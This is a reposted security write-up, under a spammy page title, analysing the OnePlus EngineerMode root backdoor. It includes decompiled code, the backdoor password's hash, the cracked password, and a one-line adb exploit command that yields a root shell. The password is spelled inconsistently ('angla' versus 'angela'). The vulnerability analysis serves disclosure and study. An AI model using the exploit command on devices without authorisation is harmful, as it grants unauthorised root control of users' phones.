压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

一加手機 Root 后門分析

漏洞細節

在一加的工程模式中存在 Root 提權后門,該漏洞由 nowsecure 團隊發現。詳情可點擊https://www.nowsecure.com/blog/2017/11/14/oneplus-device-root-exploit-backdoor-engineermode-app-diagnostics-mode/ 參考。

類 com.android.engineeringmode.qualcomm.DiagEnabled 存在權限提升后門

private boolean escalatedUp(boolean arg7, String arg8) {
??????? boolean v1 = true;
??????? if(arg7) {
??????????? if(arg8 != null) {
??????????????? arg7 = Privilege.escalate(arg8);
??????????????? if(arg7) {
??????????????????? SystemProperties.set("persist.sys.adbroot", "1");
??????????????????? SystemProperties.set("oem.selinux.reload_policy", "1");
??????????????? }

??????????????? String v4 = "DiagEnabled";
??????????????? StringBuilder v5 = new StringBuilder().append("privilege escalate ");
?????? ?????????String v3 = arg7 ? "success" : "failed";
??????????????? Log.d(v4, v5.append(v3).toString());
??????????? }
??????????? else {
??????????????? arg7 = false;
??????????? }

??????????? v1 = arg7;
??????? }
??????? else {
??????????? SystemProperties.set("persist.sys.adbroot", "0");
??????????? Privilege.recover();
??????? }

??????? SharedPreferences$Editor v0 = this.getSharedPreferences("privilege", 0).edit();
??????? v0.putBoolean("escalated", arg7);
??????? v0.commit();
??????? this.updatePrivilegeButton();
??????? if(v1) {
??????????? if("0".equals(SystemProperties.get("persist.sys.adbroot", "1"))) {
??????????????? new Thread(new Runnable() {
??????????????????? public void run() {
??????????????????????? Log.i("DiagEnabled", "reboot device...");
??????????????????????? DiagEnabled.this.getSystemService("power").reboot(null);
??????????????????? }
??????????????? }).start();
??????????? }
??????????? else {
??????????????? SystemProperties.set("ctl.restart", "adbd");
??????????? }
??????? }

??????? return v1;
??? }

由以上代碼邏輯可知,要使得代碼執行到SystemProperties.set(“persist.sys.adbroot”, “1”);(adb shell 變 root),需要使Privilege.escalate(arg8);返回true。escalate()是 native 函數,實現在 libdoor.so里。

root@OnePlus:/system/lib # ls|grep door
libdoor.so
root@OnePlus:/system/lib #

逆向發現,該函數使用 JNI_Onload 進行動態函數注冊

signed int __fastcall JNI_OnLoad(int *a1, int a2)
{
? int v2; // r2
? int v3; // r3
? const char *v4; // r2
? int v5; // r4
? int v6; // r1
? const char *v7; // r2
? int v9; // [sp+4h] [bp-14h]

? v9 = a2;
? v2 = *a1;
? v9 = 0;
? if ( (*(int (__cdecl **)(int *))(v2 + 24))(a1) )
? {
??? v4 = "ERROR: GetEnv failed\n";
? }
? else
? {
??? v5 = v9;
??? v6 = (*(int (__fastcall **)(int, const char *))(*(_DWORD *)v9 + 24))(
?????????? v9,
?????????? "com/android/engineeringmode/qualcomm/Privilege");
??? if ( v6 )
??? {
????? if ( (*(int (__fastcall **)(int, int, char **, signed int))(*(_DWORD *)v5 + 860))(v5, v6, off_5028, 3) >= 0 ) // ----> 查看 0ff_5028
??????? return 65540;
????? v7 = "RegisterNatives failed for '%s'\n";
??? }
??? else
??? {
????? v7 = "Native registration unable to find class '%s'\n";
??? }
??? _android_log_print(3, "door", v7, "com/android/engineeringmode/qualcomm/Privilege");
??? v4 = "ERROR: BinaryDictionary native registration failed\n";
? }
? _android_log_print(3, "door", v4, v3);
? return -1;
}

0ff_5028 數據取放置的是各個動態函數的地址,找到escalate()地址為sub_C40。

.data:00005028 off_5028??????? DCD aIsescalated??????? ; DATA XREF: JNI_OnLoad+4C↑o
.data:00005028???????????????????????????????????????? ; .text:off_1188↑o
.data:00005028???????????????????????????????????????? ; "isEscalated"
.data:0000502C???????????????? DCD aZ????????????????? ; "()Z"
.data:00005030???????????????? DCD sub_C40+1
//------------------------------------------------------------------------------
.data:00005034???????????????? DCD aEscalate?????????? ; "escalate"
.data:00005038???????????????? DCD aLjavaLangStrin???? ; "(Ljava/lang/String;)Z"
.data:0000503C???????????????? DCD sub_1004+1 // ----> 函數地址
//------------------------------------------------------------------------------

.data:00005040???????????????? DCD aRecover??????????? ; "recover"
.data:00005044???????????????? DCD aV????????????????? ; "()V"
.data:00005048???????????? ????DCD sub_B70+1
.data:00005048 ; .data???????? ends

bool __fastcall sub_1004(int a1, int a2, int a3)
{
? int v3; // r8
? int v4; // r7
? const char *v5; // r6
? size_t v6; // r9
? int v7; // r3
? int v8; // r4
? char v10; // [sp+4h] [bp-BCh]
? int v11; // [sp+74h] [bp-4Ch]
? int v12; // [sp+78h] [bp-48h]
? char v13; // [sp+7Ch] [bp-44h]

? v3 = a3;
? v4 = a1;
? v5 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
? (*(void (__fastcall **)(int, int))(*(_DWORD *)v4 + 672))(v4, v3);
? v11 = 235212815;
? v12 = 302976772;
? if ( !v5 || !*v5 )
??? goto LABEL_6;
? v6 = strlen(v5);
? SHA256_Init(&v10);
? SHA256_Update(&v10, v5, v6);
? SHA256_Final(&v13, &v10);
? if ( memcmp(&v13, &unk_5008, 0x20u) ) // 輸入密碼校驗,也就是escalate()的第二個參數
? {
??? _android_log_print(3, "door", "password verify failed\n", v7);
LABEL_6:
??? v8 = -1;
??? goto LABEL_7;
? }
? _android_log_print(3, "door", "password verify passed\n", v7);
? v8 = sub_CC8(&v11);
LABEL_7:
? (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v4 + 680))(v4, v3, v5);
? return v8 == 0;
}

unk_5008數據區域存放的值是79a6a933dfc9b1975e444d4e8481c64c771d8ab40b7ac72f8bc1a1bca1718bef,這里是與escalate()函數第二個參數進行 SHA256 后的值進行比較,看是否相等,相等則返回 true,那么接下來就會打開 root 權限。那么什么字符串的SHA256值是上面的數據呢? 在hashtoolkit.com進行 sha256 解密得:

標題: fig:

密碼是angla。

Exploit

protected void onCreate(Bundle arg4) {
??????? super.onCreate(arg4);
??????? this.setContentView(2130903082);
??????? this.mSerial = this.findViewById(2131493027);
??????? this.mSerial.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
??????? this.mDiag = this.findViewById(2131493026);
??????? this.mDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
??????? this.mAllDiag = this.findViewById(2131493028);
??? ????this.mAllDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
??????? this.mRndisAndDiag = this.findViewById(2131493029);
??????? this.mRndisAndDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
??????? this.mPrivilege = this.findViewById(2131493031);
??????? this.mPrivilege.setOnClickListener(((View$OnClickListener)this));
??????? this.mPrivilege.setVisibility(4);
??????? this.findViewById(2131493030).setVisibility(4);
??????? this.mUsbManager = this.getSystemService("usb");
??????? if(this.getIntent() != null) {
??????????? this.escalatedUp(true, this.getIntent().getStringExtra("code"));//----->
??????? }

??????? if(Feature.isSerialCdevSupported(((Context)this))) {
??????????? DiagEnabled.ALLDIAG_USB_CONFIG = "diag,serial_cdev,serial_tty,rmnet_ipa,mass_storage,adb";
??????? }
??? }

com.android.engineeringmode.qualcomm.DiagEnabled類是一個 Activity 類,且 exported 屬性設置為了true,故而可以直接通過 adb 進行調用。從以上代碼可知,escalate() 第二個參數,又可以通過 Intent 的方式進行傳遞,故而我們也可以在 adb 里使用 am 進行發送第二個參數angela。 最終我們構造的 exploit 代碼為:

$ adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"

再次執行 adb shell 將會獲取 root shell。

漏洞修復

一加 1 – 5 之后,直接關閉了用戶對工程模式的訪問。

原文鏈接:https://www.anquanke.com/post/id/170096

上一篇:賽可達發布2018年度全球PC殺毒軟件橫評報告

下一篇:RF工業設備可用無人機輕松入侵